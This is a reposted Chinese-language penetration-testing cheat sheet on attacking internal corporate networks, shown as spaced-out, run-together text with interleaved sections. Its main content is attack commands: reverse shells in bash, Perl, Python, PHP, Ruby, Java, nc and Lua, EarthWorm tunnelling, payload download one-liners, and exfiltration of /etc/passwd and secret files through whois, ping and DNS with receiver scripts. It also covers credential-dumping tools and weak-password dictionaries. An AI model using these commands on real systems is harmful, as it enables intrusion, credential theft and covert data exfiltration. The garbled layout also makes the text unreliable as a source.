搜索

[21368] 2020-11-01_【内网渗透】整体思路及利用方法总结

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-18
2020-11-01_【内网渗透】整体思路及利用方法总结 【 内 网 渗 透 】 整 体 思 路 及 利 用 方 法 总 结 转 载 自 安 全 先 师   L e m o n S e c   2 0 2 0 - 1 1 - 0 1 日 常 内 网 渗 透 过 程 中 ， 总 体 思 路 及 方 法 应 该 是 ： 日 常 内 网 渗 透 过 程 中 ， 总 体 思 路 及 方 法 应 该 是 ： 这 样 一 个 路 线 ， 今 天 我 们 就 按 照 这 样 的 路 线 一 步 步 说 明 具 体 每 一 步 需 要 怎 么 做 。 （ 小 本 本 记 起 来 。 。 。 ） 这 样 一 个 路 线 ， 今 天 我 们 就 按 照 这 样 的 路 线 一 步 步 说 明 具 体 每 一 步 需 要 怎 么 做 。 （ 小 本 本 记 起 来 。 。 。 ） 0 x 0 0   信 息 搜 集 信 息 搜 集 开 源 情 报 信 息 收 集 （ 开 源 情 报 信 息 收 集 （ O S I N T ） ） g i t h u b w h o i s 查 询 / 注 册 人 反 查 / 邮 箱 反 查 / 相 关 资 产 g o o g l e   h a c k i n g 创 建 企 业 密 码 字 典 创 建 企 业 密 码 字 典 字 典 列 表 字 典 列 表 密 码 生 成 密 码 生 成 信 息 搜 集 ： 开 源 情 报 信 息 收 集 、 创 建 企 业 密 码 字 典 进 入 内 网 ： 基 于 企 业 弱 账 号 漏 洞 、 基 于 系 统 漏 洞 进 入 、 网 站 应 用 程 序 渗 透 隐 匿 攻 击 ： C o m m a n d   a n d   C o n t r o l 、 代 理 内 网 跨 边 界 应 用 ： 内 网 跨 边 界 转 发 、 内 网 跨 边 界 代 理 穿 透 、 s h e l l 反 弹 等       内 网 信 息 搜 集 ： 本 机 信 息 搜 集 、 扩 散 信 息 收 集 权 限 提 升 ： W i n d o w s 、   L i n u x       权 限 维 持 ： 系 统 后 门 、 W E B 后 门 横 向 渗 透 ： 端 口 渗 透 、 域 渗 透 痕 迹 清 理 ： W i n d o w s 日 志 清 除 、 破 坏 W i n d o w s 日 志 记 录 功 能 等 G i t h u b _ N u g g e s t s （ 自 动 爬 取 G i t h u b 上 文 件 敏 感 信 息 泄 露 ） h t t p s : / / g i t h u b . c o m / a z 0 n e / G i t h u b _ N u g g e s t s G S I L （ 能 够 实 现 近 实 时 （ 1 5 分 钟 内 ） 的 发 现 G i t h u b 上 泄 露 的 信 息 ） h t t p s : / / g i t h u b . c o m / F e e i C N / G S I L x - p a t r o l ( 小 米 团 队 的 ) : h t t p s : / / g i t h u b . c o m / M i S e c u r i t y / x - p a t r o l 站 长 之 家 h t t p : / / w h o i s . c h i n a z . c o m / ? D o m a i n N a m e = t a r g e t . c o m & w s = 爱 站 h t t p s : / / w h o i s . a i z h a n . c o m / t a r g e t . c o m / 微 步 在 线 h t t p s : / / x . t h r e a t b o o k . c n / I P 反 查 h t t p s : / / d n s . a i z h a n . c o m / 天 眼 查 : h t t p s : / / w w w . t i a n y a n c h a . c o m / 虎 妈 查 : h t t p : / / w w w . w h o m x . c o m / 历 史 漏 洞 查 询   :     在 线 查 询 : h t t p : / / w y . z o n e . c i /     自 搭 建 : h t t p s : / / g i t h u b . c o m / h a n c 0 0 l / w o o y u n _ p u b l i / p a s s w o r d l i s t : h t t p s : / / g i t h u b . c o m / l a v a l a m p - / p a s s w o r d - l i s t s 猪 猪 侠 字 典 : h t t p s : / / p a n . b a i d u . c o m / s / 1 d F J y e d z B l a s t i n g _ d i c t i o n a r y （ 分 享 和 收 集 各 种 字 典 ， 包 括 弱 口 令 ， 常 用 密 码 ， 目 录 爆 破 。 数 据 库 爆 破 ， 编 辑 器 爆 破 ， 后 台 爆 破 等 ） 针 对 特 定 的 厂 商 ， 重 点 构 造 厂 商 相 关 域 名 的 字 典 [ ' % p w d % 1 2 3 ' , ' % u s e r % 1 2 3 ' , ' % u s e r % 5 2 1 ' , ' % u s e r % 2 0 1 7 ' , ' % p w d % 3 2 1 ' , ' % p w d % 5 2 1 ' , ' % u s e r % 3 2 1 ' , ' % p w d % 1 2 3 ! ' , ' % p w d % 1 2 3 ! @ # ' , ' % p w d % 1 2 3 4 ' , ' % u s e r % 2 0 1 6 ' , ' % u s e r % 1 2 3 $ % ^ ' , ' % u s e r % 1 2 3 ! @ # ' , ' % p w d % 2 0 1 6 ' G e n p A s s （ 中 国 特 色 的 弱 口 令 生 成 器 :
邮 箱 列 表 获 取 邮 箱 列 表 获 取 泄 露 密 码 查 询 泄 露 密 码 查 询 对 企 业 外 部 相 关 信 息 进 行 搜 集 对 企 业 外 部 相 关 信 息 进 行 搜 集         子 域 名 获 取 子 域 名 获 取 L i n u x W i n d o w s G e n p A s s （ 中 国 特 色 的 弱 口 令 生 成 器 :   h t t p s : / / g i t h u b . c o m / R i c t e r Z / g e n p A s s / p a s s m a k e r （ 可 以 自 定 义 规 则 的 密 码 字 典 生 成 器 ）   ： h t t p s : / / g i t h u b . c o m / b i t 4 w o o / p a s s m a k e r p y d i c t o r （ 强 大 的 密 码 生 成 器 ）   ： h t t p s : / / g i t h u b . c o m / L a n d G r e y / p y d i c t o r t h e H a r v e s t e r   ： h t t p s : / / g i t h u b . c o m / l a r a m i e s / t h e H a r v e s t e r 获 取 一 个 邮 箱 以 后 导 出 通 讯 录 L i n k e d I n t   : h t t p s : / / g i t h u b . c o m / m d s e c a c t i v e b r e a c h / L i n k e d I n t M a i l g e t ： h t t p s : / / g i t h u b . c o m / R i d t e r / M a i l g e t g h o s t p r o j e c t :   h t t p s : / / g h o s t p r o j e c t . f r / p w n d b :   h t t p s : / / p w n d b 2 a m 4 t z k v o l d . o n i o n . t o / L a y e r 子 域 名 挖 掘 机 4 . 2 纪 念 版 s u b D o m a i n s B r u t e   ： h t t p s : / / g i t h u b . c o m / l i j i e j i e / s u b D o m a i n s B r u t e w y d o m a i n   ： h t t p s : / / g i t h u b . c o m / r i n g 0 4 h / w y d o m a i n S u b l i s t 3 r   ： h t t p s : / / g i t h u b . c o m / a b o u l 3 l a / S u b l i s t 3 r s i t e : t a r g e t . c o m : h t t p s : / / w w w . g o o g l e . c o m G i t h u b 代 码 仓 库 抓 包 分 析 请 求 返 回 值 ( 跳 转 / 文 件 上 传 / a p p / a p i 接 口 等 ) 站 长 帮 手 l i n k s 等 在 线 查 询 网 站 域 传 送 漏 洞 d i g   @ n s . e x a m p l e . c o m   e x a m p l e = . c o m   A X F R n s l o o k u p   - t y p e = n s   x x x . y y y . c n   # 查 询 解 析 某 域 名 的 D N S 服 务 器 n s l o o k u p   # 进 入 n s l o o k u p 交 互 模 式 s e r v e r   d n s . d o m i a n . c o m   # 指 定 d n s 服 务 器 l s   x x x . y y y . c n   # 列 出 域 信 息 G e t D o m a i n s B y S S L . p y   : h t t p s : / / n o t e . y o u d a o . c o m / y n o t e s h a r e 1 / i n d e x . h t m l ? i d = 2 4 7 d 9 7 f c 1 d 9 8 b 1 2 2 e f 9 8 0 4 9 0 6 3 5 6 d 4 7 a & t y p e = n o t e # / c e n s y s . i o 证 书   : h t t p s : / / c e n s y s . i o / c e r t i f i c a t e s ? q = t a r g e t . c o m c r t . s h 证 书 查 询 : h t t p s : / / c r t . s h / ? q = % 2 5 . t a r g e t . c o m s h a d o n   : h t t p s : / / w w w . s h o d a n . i o / z o o m e y e   : h t t p s : / / w w w . z o o m e y e . o r g / f o f a   :
0 x 0 1 进 入 内 网 进 入 内 网 基 于 企 业 弱 账 号 漏 洞 基 于 企 业 弱 账 号 漏 洞 基 于 系 统 漏 洞 进 入 基 于 系 统 漏 洞 进 入 网 站 应 用 程 序 渗 透 网 站 应 用 程 序 渗 透 无 线 无 线 W i - F i 接 入 接 入 隐 匿 攻 击 隐 匿 攻 击 C o m m a n d   a n d   C o n t r o l h t t p s : / / f o f a . s o / c e n s y s ： h t t p s : / / c e n s y s . i o / d n s d b . i o   : h t t p s : / / d n s d b . i o / z h - c n / s e a r c h ? q = t a r g e t . c o m a p i . h a c k e r t a r g e t . c o m   : h t t p : / / a p i . h a c k e r t a r g e t . c o m / r e v e r s e d n s / ? q = t a r g e t . c o m c o m m u n i t y . r i s k i q . c o m   : h t t p s : / / c o m m u n i t y . r i s k i q . c o m / S e a r c h / t a r g e t . c o m s u b d o m a i n 3 h t t p s : / / g i t h u b . c o m / y a n x i u 0 6 1 4 / s u b d o m a i n 3 F u z z D o m a i n   : h t t p s : / / g i t h u b . c o m / C h o r a 1 0 / F u z z D o m a i n d n s d u m p s t e r . c o m   : h t t p s : / / d n s d u m p s t e r . c o m / p h p i n f o . m e   : h t t p s : / / p h p i n f o . m e / d o m a i n / d n s 开 放 数 据 接 口   : h t t p s : / / d n s . b u f f e r o v e r . r u n / d n s ? q = b a i d u . c o m V P N （ 通 过 邮 箱 ， 密 码 爆 破 ， 社 工 等 途 径 获 取 V P N ） 企 业 相 关 运 维 系 统 （ z a b b i x 等 ） M e t a s p l o i t ( 漏 洞 利 用 框 架 ) : h t t p s : / / g i t h u b . c o m / r a p i d 7 / m e t a s p l o i t - f r a m e w o r k 漏 洞 利 用 脚 本 S Q L 注 入 跨 站 脚 本 （ X S S ） 跨 站 请 求 伪 造 （ C S R F ） S S R F （ s s r f _ p r o x y ） 功 能 / 业 务 逻 辑 漏 洞 其 他 漏 洞 等 C M S - 内 容 管 理 系 统 漏 洞 企 业 自 建 代 理 I C M P   : h t t p s : / / p e n t e s t l a b . b l o g / 2 0 1 7 / 0 7 / 2 8 / c o m m a n d - a n d - c o n t r o l - i c m p / D N S   : h t t p s : / / p e n t e s t l a b . b l o g / 2 0 1 7 / 0 9 / 0 6 / c o m m a n d - a n d - c o n t r o l - d n s / D r o p B o x   : h t t p s : / / p e n t e s t l a b . b l o g / 2 0 1 7 / 0 8 / 2 9 / c o m m a n d - a n d - c o n t r o l - d r o p b o x / G m a i l   : h t t p s : / / p e n t e s t l a b . b l o g / 2 0 1 7 / 0 8 / 0 3 / c o m m a n d - a n d - c o n t r o l - g m a i l / T e l e g r a m   : h t t p : / / d r o p s . x m d 5 . c o m / s t a t i c / d r o p s / t i p s - 1 6 1 4 2 . h t m l T w i t t e r   : h t t p s : / / p e n t e s t l a b . b l o g / 2 0 1 7 / 0 9 / 2 6 / c o m m a n d - a n d - c o n t r o l - t w i t t e r / W e b s i t e   K e y w o r d   : h t t p s : / / p e n t e s t l a b . b l o g / 2 0 1 7 / 0 9 / 1 4 / c o m m a n d - a n d - c o n t r o l - w e b s i t e - k e y w o r d /
F r o n t i n g 代 理 代 理 0 x 0 2   内 网 跨 边 界 应 用 内 网 跨 边 界 应 用 1 、 内 网 跨 边 界 转 发 、 内 网 跨 边 界 转 发 2 、 内 网 跨 边 界 代 理 穿 透 、 内 网 跨 边 界 代 理 穿 透 E W : 正 向   S O C K S   v 5   服 务 器 : 反 弹   S O C K S   v 5   服 务 器 :   a )   先 在 一 台 具 有 公 网   i p   的 主 机 A 上 运 行 以 下 命 令 ： b )   在 目 标 主 机 B 上 启 动   S O C K S   v 5   服 务   并 反 弹 到 公 网 主 机 的   8 8 8 8 端 口 P o w e r S h e l l   : h t t p s : / / p e n t e s t l a b . b l o g / 2 0 1 7 / 0 8 / 1 9 / c o m m a n d - a n d - c o n t r o l - p o w e r s h e l l / W i n d o w s   C O M   : h t t p s : / / p e n t e s t l a b . b l o g / 2 0 1 7 / 0 9 / 0 1 / c o m m a n d - a n d - c o n t r o l - w i n d o w s - c o m / W e b D A V   : h t t p s : / / p e n t e s t l a b . b l o g / 2 0 1 7 / 0 9 / 1 2 / c o m m a n d - a n d - c o n t r o l - w e b d a v / O f f i c e   3 6 5   : h t t p s : / / w w w . a n q u a n k e . c o m / p o s t / i d / 8 6 9 7 4 H T T P S   : h t t p s : / / p e n t e s t l a b . b l o g / 2 0 1 7 / 1 0 / 0 4 / c o m m a n d - a n d - c o n t r o l - h t t p s / K e r n e l   : h t t p s : / / p e n t e s t l a b . b l o g / 2 0 1 7 / 1 0 / 0 2 / c o m m a n d - a n d - c o n t r o l - k e r n e l / W e b s i t e   : h t t p s : / / p e n t e s t l a b . b l o g / 2 0 1 7 / 1 1 / 1 4 / c o m m a n d - a n d - c o n t r o l - w e b s i t e / W M I   : h t t p s : / / p e n t e s t l a b . b l o g / 2 0 1 7 / 1 1 / 2 0 / c o m m a n d - a n d - c o n t r o l - w m i / W e b S o c k e t   : h t t p s : / / p e n t e s t l a b . b l o g / 2 0 1 7 / 1 2 / 0 6 / c o m m a n d - a n d - c o n t r o l - w e b s o c k e t / I m a g e s   : h t t p s : / / p e n t e s t l a b . b l o g / 2 0 1 8 / 0 1 / 0 2 / c o m m a n d - a n d - c o n t r o l - i m a g e s / W e b   I n t e r f a c e   : h t t p s : / / p e n t e s t l a b . b l o g / 2 0 1 8 / 0 1 / 0 3 / c o m m a n d - a n d - c o n t r o l - w e b - i n t e r f a c e / J a v a S c r i p t   : h t t p s : / / p e n t e s t l a b . b l o g / 2 0 1 8 / 0 1 / 0 8 / c o m m a n d - a n d - c o n t r o l - j a v a s c r i p t / . . . D o m a i n   F r o n t i n g T o r _ F r o n t i n g . V P N s h a d o w s o c k t s   : h t t p s : / / g i t h u b . c o m / s h a d o w s o c k s H T T P   : h t t p : / / c n - p r o x y . c o m / T o r N C 端 口 转 发 h t t p s : / / b l o g . c s d n . n e t / l _ f 0 r m 4 t 3 d / a r t i c l e / d e t a i l s / 2 4 0 0 4 5 5 5 L C X 端 口 转 发 h t t p : / / b l o g . c h i n a u n i x . n e t / u i d - 5 3 4 0 1 - i d - 4 4 0 7 9 3 1 . h t m l n p s   - >   个 人 用 觉 得 比 较 稳 定   ～ h t t p s : / / g i t h u b . c o m / c n l h / n p s f r p h t t p s : / / g i t h u b . c o m / f a t e d i e r / f r p 代 理 脚 本 T u n n a h t t p s : / / g i t h u b . c o m / S E C F O R C E / T u n n a R e d u h h t t p s : / / g i t h u b . c o m / s e n s e p o s t / r e D u h . . . h t t p s : / / r o o t k i t e r . c o m / E a r t h W o r m / . / e w   - s   s s o c k s d   - l   1 0 8 0 $   . / e w   - s   r c s o c k s   - l   1 0 8 0   - e   8 8 8 8 $   . / e w   - s   r s s o c k s   - d   1 . 1 . 1 . 1   - e   8 8 8 8
多 级 级 联 l c x _ t r a n   的 用 法 l c x _ l i s t e n 、 l c x _ s l a v e   的 用 法 “ 三 级 级 联 ” 的 本 地 S O C K S 测 试 用 例 以 供 参 考 T e r m i t e ( 跳 板 机 ) 使 用 说 明 : h t t p s : / / r o o t k i t e r . c o m / T e r m i t e / R E A D M E . t x t 代 理 脚 本 r e G e o r g   : h t t p s : / / g i t h u b . c o m / s e n s e p o s t / r e G e o r g s h e l l 反 弹 反 弹 内 网 文 件 的 传 输 和 下 载 内 网 文 件 的 传 输 和 下 载 w p u t w g e t a r i a c 2 （ 需 安 装 ） $   . / e w   - s   l c x _ l i s t e n   - l   1 0 8 0   - e   8 8 8 8 $   . / e w   - s   l c x _ t r a n   - l   1 0 8 0   - f   2 . 2 . 2 . 3   - g   9 9 9 9 $   . / e w   - s   l c x _ s l a v e   - d   1 . 1 . 1 . 1   - e   8 8 8 8   - f   2 . 2 . 2 . 3   - g   9 9 9 9 $   . / e w   - s   s s o c k s d   - l   9 9 9 9 $   . / e w   - s   l c x _ t r a n   - l   1 0 8 0   - f   1 2 7 . 0 . 0 . 1   - g   9 9 9 9 $   . / e w   - s   l c x _ l i s t e n   - l   1 0 8 0   - e   8 8 8 8 $   . / e w   - s   s s o c k s d   - l   9 9 9 9 $   . / e w   - s   l c x _ s l a v e   - d   1 2 7 . 0 . 0 . 1   - e   8 8 8 8   - f   1 2 7 . 0 . 0 . 1   - g   9 9 9 9 $   . / e w   - s   r c s o c k s   - l   1 0 8 0   - e   8 8 8 8 $   . / e w   - s   l c x _ s l a v e   - d   1 2 7 . 0 . 0 . 1   - e   8 8 8 8   - f   1 2 7 . 0 . 0 . 1   - g   9 9 9 9 $   . / e w   - s   l c x _ l i s t e n   - l   9 9 9 9   - e   7 7 7 7 $   . / e w   - s   r s s o c k s   - d   1 2 7 . 0 . 0 . 1   - e   7 7 7 7 h t t p s : / / r o o t k i t e r . c o m / T e r m i t e / b a s h b a s h   - i   > &   / d e v / t c p / 1 0 . 0 . 0 . 1 / 8 0 8 0   0 > & 1 p e r l p e r l   - e   ' u s e   S o c k e t ; $ i = " 1 0 . 0 . 0 . 1 " ; $ p = 1 2 3 4 ; s o c k e t ( S , P F _ I N E T , S O C K _ S T R E A M , g e t p r o t o b y n a m e ( " t c p " ) ) ; i f ( c o n n e c t ( S , s o c k a d d r _ i n ( $ p , i n e t _ a t o n ( $ i ) ) ) ) { o p e n ( S T D I N , " > & S " ) ; o p e n ( S T D O U T , " > & S " ) ; o p e n ( S T D E R R , " > & S " ) ; e x e c ( " / b i n / s h   - i " ) ; } ; ' p y t h o n p y t h o n   - c   ' i m p o r t   s o c k e t , s u b p r o c e s s , o s ; s = s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T , s o c k e t . S O C K _ S T R E A M ) ; s . c o n n e c t ( ( " 1 0 . 0 . 0 . 1 " , 1 2 3 4 ) ) ; o s . d u p 2 ( s . f i l e n o ( ) , 0 ) ;   o s . d u p 2 ( s . f i l e n o ( ) , 1 ) ;   o s . d u p 2 ( s . f i l e n o ( ) , 2 ) ; p = s u b p r o c e s s . c a l l ( [ " / b i n / s h " , " - i " ] ) ; ' p h p p h p   - r   ' $ s o c k = f s o c k o p e n ( " 1 0 . 0 . 0 . 1 " , 1 2 3 4 ) ; e x e c ( " / b i n / s h   - i   < & 3   > & 3   2 > & 3 " ) ; ' r u b y r u b y   - r s o c k e t   - e ' f = T C P S o c k e t . o p e n ( " 1 0 . 0 . 0 . 1 " , 1 2 3 4 ) . t o _ i ; e x e c   s p r i n t f ( " / b i n / s h   - i   < & % d   > & % d   2 > & % d " , f , f , f ) ' j a v a r   =   R u n t i m e . g e t R u n t i m e ( ) p   =   r . e x e c ( [ " / b i n / b a s h " , " - c " , " e x e c   5 < > / d e v / t c p / 1 0 . 0 . 0 . 1 / 2 0 0 2 ; c a t   < & 5   |   w h i l e   r e a d   l i n e ;   d o   $ l i n e   2 > & 5   > & 5 ;   d o n e " ]   a s   S t r i n g [ ] ) p . w a i t F o r ( ) n c # 使 用 - e   n c   - e   / b i n / s h   2 2 3 . 8 . 2 0 0 . 2 3 4   1 2 3 4 # 不 使 用 - e m k n o d   / t m p / b a c k p i p e   p / b i n / s h   0 / t m p / b a c k p i p e   |   n c   a t t a c k e r i p   l i s t e n p o r t   1 > / t m p / b a c k p i p e l u a l u a   - e   " r e q u i r e ( ' s o c k e t ' ) ; r e q u i r e ( ' o s ' ) ; t = s o c k e t . t c p ( ) ; t : c o n n e c t ( ' 2 0 2 . 1 0 3 . 2 4 3 . 1 2 2 ' , ' 1 2 3 4 ' ) ; o s . e x e c u t e ( ' / b i n / s h   - i   < & 3   > & 3   2 > & 3 ' ) ; " w p u t   d i r _ n a m e   f t p : / / l i n u x p i g : 1 2 3 4 5 6 @ h o s t . c o m / w g e t   h t t p : / / s i t e . c o m / 1 . r a r   - O   1 . r a r a r i a 2 c   - o   o w n c l o u d . z i p   h t t p s : / / d o w n l o a d . o w n c l o u d . o r g / c o m m u n i t y / o w n c l o u d - 9 . 0 . 0 . t a r . b z 2
p o w e r s h e l l v b s 脚 本 执 行   ： c s c r i p t   t e s t . v b s P e r l 执 行 ： p e r l   t e s t . p l P y t h o n 执 行 ： p y t h o n   t e s t . p y R u b y 执 行 ： r u b y   t e s t . r b P H P 执 行 ： p h p   t e s t . p h p N C   a t t a c k e r t a r g e t F T P T F T P $ p   =   N e w - O b j e c t   S y s t e m . N e t . W e b C l i e n t   $ p . D o w n l o a d F i l e ( " h t t p : / / d o m a i n / f i l e " , " C : % h o m e p a t h % f i l e " ) S e t   a r g s   =   W s c r i p t . A r g u m e n t s U r l   =   " h t t p : / / d o m a i n / f i l e " d i m   x H t t p :   S e t   x H t t p   =   c r e a t e o b j e c t ( " M i c r o s o f t . X M L H T T P " ) d i m   b S t r m :   S e t   b S t r m   =   c r e a t e o b j e c t ( " A d o d b . S t r e a m " ) x H t t p . O p e n   " G E T " ,   U r l ,   F a l s e x H t t p . S e n d w i t h   b S t r m . t y p e   =   1   ' . o p e n . w r i t e   x H t t p . r e s p o n s e B o d y . s a v e t o f i l e   "   C : % h o m e p a t h % f i l e " ,   2   ' e n d   w i t h # ! / u s r / b i n / p e r l   u s e   L W P : : S i m p l e ;   g e t s t o r e ( " h t t p : / / d o m a i n / f i l e " ,   " f i l e " ) ; # ! / u s r / b i n / p y t h o n   i m p o r t   u r l l i b 2   u   =   u r l l i b 2 . u r l o p e n ( ' h t t p : / / d o m a i n / f i l e ' )   l o c a l F i l e   =   o p e n ( ' l o c a l _ f i l e ' ,   ' w ' )   l o c a l F i l e . w r i t e ( u . r e a d ( ) )   l o c a l F i l e . c l o s e ( ) # ! / u s r / b i n / r u b y r e q u i r e   ' n e t / h t t p ' N e t : : H T T P . s t a r t ( " w w w . d o m a i n . c o m " )   {   | h t t p | r   =   h t t p . g e t ( " / f i l e " ) o p e n ( " s a v e _ l o c a t i o n " ,   " w b " )   {   | f i l e | f i l e . w r i t e ( r . b o d y ) } } < ? p h p $ u r l     =   ' h t t p : / / w w w . e x a m p l e . c o m / f i l e ' ; $ p a t h   =   ' / p a t h / t o / f i l e ' ; $ c h   =   c u r l _ i n i t ( $ u r l ) ; c u r l _ s e t o p t ( $ c h ,   C U R L O P T _ R E T U R N T R A N S F E R ,   t r u e ) ; $ d a t a   =   c u r l _ e x e c ( $ c h ) ; c u r l _ c l o s e ( $ c h ) ; f i l e _ p u t _ c o n t e n t s ( $ p a t h ,   $ d a t a ) ; ? > c a t   f i l e   |   n c   - l   1 2 3 4 n c   h o s t _ i p   1 2 3 4   >   f i l e f t p   1 2 7 . 0 . 0 . 1   u s e r n a m e   p a s s w o r d   g e t   f i l e   e x i t t f t p   - i   h o s t   G E T   C : % h o m e p a t h % f i l e   l o c a t i o n _ o f _ f i l e _ o n _ t f t p _ s e r v e r
B i t s a d m i n W i n d o w   文 件 共 享 S C P   本 地 到 远 程 远 程 到 本 地 r s y n c   远 程 r s y n c 服 务 器 中 拷 贝 文 件 到 本 地 机 本 地 机 器 拷 贝 文 件 到 远 程 r s y n c 服 务 器 c e r t u t i l . e x e c o p y W H O I S   接 收 端   H o s t   B ： 发 送 端   H o s t   A ： W H O I S   +   T A R F i r s t : N e x t F i n a l l y P I N G 发 送 端 : 接 收 端 : D I G   发 送 端 : b i t s a d m i n   / t r a n s f e r   n   h t t p : / / d o m a i n / f i l e   c : % h o m e p a t h % f i l e n e t   u s e   x :   1 2 7 . 0 . 0 . 1 s h a r e   / u s e r : e x a m p l e . c o m u s e r I D   m y P a s s w o r d s c p   f i l e   u s e r @ h o s t . c o m : / t m p s c p   u s e r @ h o s t . c o m : / t m p   f i l e r s y n c   - a v   r o o t @ 1 9 2 . 1 6 8 . 7 8 . 1 9 2 : : w w w   / d a t a b a c k r s y n c   - a v   / d a t a b a c k   r o o t @ 1 9 2 . 1 6 8 . 7 8 . 1 9 2 : : w w w c e r t u t i l . e x e   - u r l c a c h e   - s p l i t   - f   h t t p : / / s i t e . c o m / f i l e c o p y   I P S h a r e N a m e f i l e . e x e   f i l e . e x e n c   - v l n p   1 3 3 7   |   s e d   " s /   / / g "   |   b a s e 6 4   - d w h o i s   - h   h o s t _ i p   - p   1 3 3 7   ` c a t   / e t c / p a s s w d   |   b a s e 6 4 ` n c a t   - k   - l   - p   4 4 4 4   |   t e e   f i l e s . b 6 4     # t e e   t o   a   f i l e   s o   y o u   c a n   m a k e   s u r e   y o u   h a v e   i t t a r   c z f   -   / t m p / *   |   b a s e 6 4   |   x a r g s   - I   b i t s   t i m e o u t   0 . 0 3   w h o i s   - h   h o s t _ i p   - p   4 4 4 4   b i t s c a t   f i l e s . b 6 4   |   t r   - d   ' r n '   |   b a s e 6 4   - d   |   t a r   z x v   # t o   g e t   t h e   f i l e s   o u t x x d   - p   - c   4   s e c r e t . t x t   |   w h i l e   r e a d   l i n e ;   d o   p i n g   - c   1   - p   $ l i n e   i p ;   d o n e p i n g _ r e c e i v e r . p y i m p o r t   s y s t r y :         f r o m   s c a p y . a l l   i m p o r t   * e x c e p t :         p r i n t ( " S c a p y   n o t   f o u n d ,   p l e a s e   i n s t a l l   s c a p y :   p i p   i n s t a l l   s c a p y " )         s y s . e x i t ( 0 ) d e f   p r o c e s s _ p a c k e t ( p k t ) :         i f   p k t . h a s l a y e r ( I C M P ) :                 i f   p k t [ I C M P ] . t y p e   = =   8 :                         d a t a   =   p k t [ I C M P ] . l o a d [ - 4 : ]                         p r i n t ( f ' { d a t a . d e c o d e ( " u t f - 8 " ) } ' ,   f l u s h = T r u e ,   e n d = " " ,   s e p = " " ) s n i f f ( i f a c e = " e t h 0 " ,   p r n = p r o c e s s _ p a c k e t ) p y t h o n 3   p i n g _ r e c e i v e r . p y x x d   - p   - c   3 1   / e t c / p a s s w d   |   w h i l e   r e a d   l i n e ;   d o   d i g   @ 1 7 2 . 1 6 . 1 . 1 0 0   + s h o r t   + t r i e s = 1   + t i m e = 1   $ l i n e . g o o o g l e . c o m ;   d o n e
接 收 端 : 搭 建 搭 建   H T T P   s e r v e r p y t h o n 2 p y t h o n 3 P H P   5 . 4 + r u b y P e r l b u s y b o x   h t t p d 0 x 0 3   内 网 信 息 搜 集 内 网 信 息 搜 集 1 、 本 机 信 息 搜 集 、 本 机 信 息 搜 集 1 、 用 户 列 表 w i n d o w s 用 户 列 表   分 析 邮 件 用 户 ， 内 网 [ 域 ] 邮 件 用 户 ， 通 常 就 是 内 网 [ 域 ] 用 户 2 、 进 程 列 表 析 杀 毒 软 件 / 安 全 监 控 工 具 等   邮 件 客 户 端   V P N   f t p 等 3 、 服 务 列 表 与 安 全 防 范 工 具 有 关 服 务 [ 判 断 是 否 可 以 手 动 开 关 等 ]   存 在 问 题 的 服 务 [ 权 限 / 漏 洞 ] 4 、 端 口 列 表 开 放 端 口 对 应 的 常 见 服 务 / 应 用 程 序 [ 匿 名 / 权 限 / 漏 洞 等 ]   利 用 端 口 进 行 信 息 收 集 5 、 补 丁 列 表 分 析   W i n d o w s   补 丁   第 三 方 软 件 [ J a v a / O r a c l e / F l a s h   等 ] 漏 洞 6 、 本 机 共 享 本 机 共 享 列 表 / 访 问 权 限   本 机 访 问 的 域 共 享 / 访 问 权 限 7 、 本 用 户 习 惯 分 析 历 史 记 录   收 藏 夹   文 档 等 8 、 获 取 当 前 用 户 密 码 工 具 W i n d o w s d n s _ r e c i v e r . p y t r y :         f r o m   s c a p y . a l l   i m p o r t   * e x c e p t :         p r i n t ( " S c a p y   n o t   f o u n d ,   p l e a s e   i n s t a l l   s c a p y :   p i p   i n s t a l l   s c a p y " ) d e f   p r o c e s s _ p a c k e t ( p k t ) :         i f   p k t . h a s l a y e r ( D N S ) :                 d o m a i n   =   p k t [ D N S ] [ D N S Q R ] . q n a m e . d e c o d e ( ' u t f - 8 ' )                 r o o t _ d o m a i n   =   d o m a i n . s p l i t ( ' . ' ) [ 1 ]                 i f   r o o t _ d o m a i n . s t a r t s w i t h ( ' g o o o g l e ' ) :                         p r i n t ( f ' { b y t e a r r a y . f r o m h e x ( d o m a i n [ : - 1 3 ] ) . d e c o d e ( " u t f - 8 " ) } ' ,   f l u s h = T r u e ,   e n d = ' ' ) s n i f f ( i f a c e = " e t h 0 " ,   p r n = p r o c e s s _ p a c k e t ) p y t h o n 3   d n s _ r e c i v e r . p y . . . p y t h o n   - m   S i m p l e H T T P S e r v e r   1 3 3 7 p y t h o n   - m   h t t p . s e r v e r   1 3 3 7 p h p   - S   0 . 0 . 0 . 0 : 1 3 3 7 r u b y   - r w e b r i c k   - e ' W E B r i c k : : H T T P S e r v e r . n e w ( : P o r t   = >   1 3 3 7 ,   : D o c u m e n t R o o t   = >   D i r . p w d ) . s t a r t ' r u b y   - r u n   - e   h t t p d   .   - p   1 3 3 7 p e r l   - M H T T P : : S e r v e r : : B r i c k   - e   ' $ s = H T T P : : S e r v e r : : B r i c k - > n e w ( p o r t = > 1 3 3 7 ) ;   $ s - > m o u n t ( " / " = > { p a t h = > " . " } ) ;   $ s - > s t a r t ' p e r l   - M I O : : A l l   - e   ' i o ( " : 8 0 8 0 " ) - > f o r k - > a c c e p t - > ( s u b   {   $ _ [ 0 ]   <   i o ( - x   $ 1   + ?   " . / $ 1   | "   :   $ 1 )   i f   / ^ G E T   / ( . * )   /   } ) ' b u s y b o x   h t t p d   - f   - p   8 0 0 0 m i m i k a t z h t t p s : / / g i t h u b . c o m / g e n t i l k i w i / m i m i k a t z
L i n u x 2 、 扩 散 信 息 收 集 、 扩 散 信 息 收 集 端 口 扫 描 常 用 端 口 扫 描 工 具 内 网 拓 扑 架 构 分 析 常 见 信 息 收 集 命 令 常 见 信 息 收 集 命 令 i p c o n f i g : n e t : d s q u e r y w c e h t t p s : / / g i t h u b . c o m / v e r g l 4 s / p e n t e s t i n g - d u m p / t r e e / m a s t e r / n e t / W i n d o w s / w c e _ v 1 _ 4 2 b e t a _ x 6 4 ） I n v o k e - W C M D u m p     h t t p s : / / g i t h u b . c o m / p e e w p w / I n v o k e - W C M D u m p m i m i D b g     h t t p s : / / g i t h u b . c o m / g i M i n i / m i m i D b g L a Z a g n e h t t p s : / / g i t h u b . c o m / A l e s s a n d r o Z / L a Z a g n e n i r s o f t _ p a c k a g e h t t p : / / l a u n c h e r . n i r s o f t . n e t / d o w n l o a d s / Q u a r k s P w D u m p   f g d u m p h t t p s : / / g i t h u b . c o m / q u a r k s l a b / q u a r k s p w d u m p 星 号 查 看 器 等 L a Z a g n e 